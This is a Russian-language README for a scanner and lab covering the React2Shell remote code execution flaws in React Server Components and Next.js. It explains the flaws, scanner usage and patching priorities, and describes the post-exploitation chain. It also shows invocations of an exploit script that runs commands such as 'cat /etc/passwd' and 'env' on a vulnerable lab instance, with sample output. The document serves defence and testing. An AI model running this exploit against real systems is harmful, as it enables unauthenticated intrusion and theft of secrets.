Сканер для CVE-2025-55182 (React) и CVE-2025-66478 (Next.js) - Отслеживайте и устраняйте критическую кампанию по уязвимостям React Server Components (RSC) / Flight protocol, затрагивающую react-server-dom-webpack, react-server-dom-parcel, react-server-dom-turbopack и фреймворки с поддержкой RSC, такие как Next.js.
Внешняя уязвимость для класса ошибок React2Shell: две недавно раскрытые, неаутентифицированные уязвимости удаленного выполнения кода в протоколе Flight React Server Components (RSC) — CVE-2025-55182 (React) и CVE-2025-66478 (Next.js), обе оценены как CVSS 10.0. Эти проблемы связаны с тем, как конечные точки RSC/Server Function декодируют подконтрольные атакующему полезные нагрузки Flight, превращая один специально созданный HTTP-запрос в потенциальное выполнение кода на стороне сервера — даже в «стандартных» современных стеках React/Next.js, использующих App Router и production-сборки. Для многих команд это момент «срочно установите патч, проверьте уязвимость, затем проведите аудит», а не что-то, что можно отложить до следующего спринта по гигиене зависимостей. Папка LAB содержит эксплойты и лабораторные уязвимости для React2Shell
Этот проект предоставляет двунаправленный подход: (1) сканирование состава программного обеспечения / рисков зависимостей (этот инструмент) для быстрого поиска уязвимых библиотек и версий, и (2) веб-сканер DAST (React2Shell Web Scanner), который активно зондирует конечные точки RSC/Flight извне, проверяя, доступны ли эксплуатируемые пути в работающих средах. Вместе они помогают ответить как на вопрос «где находятся уязвимые компоненты?», так и на «где их можно реально эксплуатировать в производстве?», чтобы вы могли уверенно расставлять приоритеты по установке патчей, усилению защиты и реагированию на инциденты.
Для тестирования конечных точек в реальном времени и проверки RCE см. специализированный веб-сканер:
📁 web-scan_CVE-2025-66478/ - Полная документация и руководство
cd web-scan_CVE-2025-66478
# Install dependencies
pip install -r requirements.txt
# Scan a single target
python3 react2shell-scanner -u https://target.com -v
# Scan with evidence display
python3 react2shell-scanner -u https://target.com --show-evidence
# Batch scan with all export formats
python3 react2shell-scanner -l targets.txt -o results.json --csv results.csv --html report.html
# Test the exploit on vulnerable target (requires Python 3.11+)
python3.11 test-lab/exploit.py -u http://vulnerable-host:3000 -c "hostname"
| Feature | Описание |
|---|---|
| 🔍 RCE Detection | Арифметическое безопасное обнаружение (без побочных эффектов) |
| 🎯 Technology Fingerprinting | Автоматическое определение приложений Next.js/React |
| 📊 Multi-Format Export | Отчеты в форматах JSON, CSV, HTML |
| 🔗 IOC Correlation | Сопоставление с 31+ известными вредоносными IP |
| 🌐 Scale Scanning | Диапазоны CIDR, перечисление поддоменов |
| ☁️ Phoenix Integration | Загрузка результатов в Phoenix Security |
| 💻 Exploit Tool | Выполнение команд на уязвимых целях |
cd web-scan_CVE-2025-66478/test-lab/lab
# Start vulnerable (3011) and patched (3012) instances
docker-compose up -d
# Test vulnerable instance
python3 react2shell-scanner -u http://localhost:3011 --show-evidence
cd web-scan_CVE-2025-66478/test-lab
# Install exploit dependencies
pip3.11 install -r requirements.txt
# Basic command execution
python3.11 exploit.py -u http://localhost:3011 -c "whoami"
# Output: nextjs
python3.11 exploit.py -u http://localhost:3011 -c "id"
# Output: uid=1001(nextjs) gid=65533(nogroup)
python3.11 exploit.py -u http://localhost:3011 -c "hostname"
# Output: 99e28775bf80 (container ID)
# System enumeration
python3.11 exploit.py -u http://localhost:3011 -c "uname -a"
python3.11 exploit.py -u http://localhost:3011 -c "cat /etc/passwd"
python3.11 exploit.py -u http://localhost:3011 -c "env"
# Application recon
python3.11 exploit.py -u http://localhost:3011 -c "pwd" # /app
python3.11 exploit.py -u http://localhost:3011 -c "ls -la"
python3.11 exploit.py -u http://localhost:3011 -c "cat package.json"
python3.11 exploit.py -u http://localhost:3011 -c "node --version"
React2Shell — это неаутентифицированный примитив удаленного выполнения кода против обработки полезных нагрузок React Server Components (RSC) в протоколе Flight. На практике это означает, что злоумышленник может отправить один специально сформированный HTTP-запрос к конечной точке RSC/Server Function и, если используется уязвимая версия, потенциально превратить «веб-приложение» в «серверную оболочку».
На высоком уровне:
Поскольку это неаутентифицированный RCE, стандартные производственные конфигурации находятся в зоне риска — даже если вы никогда явно не писали «серверную функцию», а просто использовали современные шаблоны React/Next.js. Средства защиты на уровне хостинга и обычные WAF не следует рассматривать как основную сеть безопасности: они могут снизить подверженность риску, но не смогут надежно компенсировать уязвимые библиотеки. Относитесь к этому как к инциденту:
После того как атакующий получает RCE через React2Shell, защитникам следует предполагать знакомую цепочку поражения:
.env, секретов развертывания, токенов CI, учетных данных служб и ключей подписи.Если ваш конвейер DevSecOps исторически рассматривал веб-уровень как «просто фронтенд», эта уязвимость является конкретной демонстрацией того, что фреймворки фронтенда могут нести глубокий радиус поражения на стороне сервера, когда задействованы семантика RSC и стриминг. Universal Vulnerability Scanner существует, чтобы помочь вам быстро ответить на вопрос «используем ли мы где-либо уязвимые пакеты?» и передать этот ответ в кампании, управляемые Phoenix, а вскоре и в дополняющую веб-проверку DAST живых конечных точек RSC.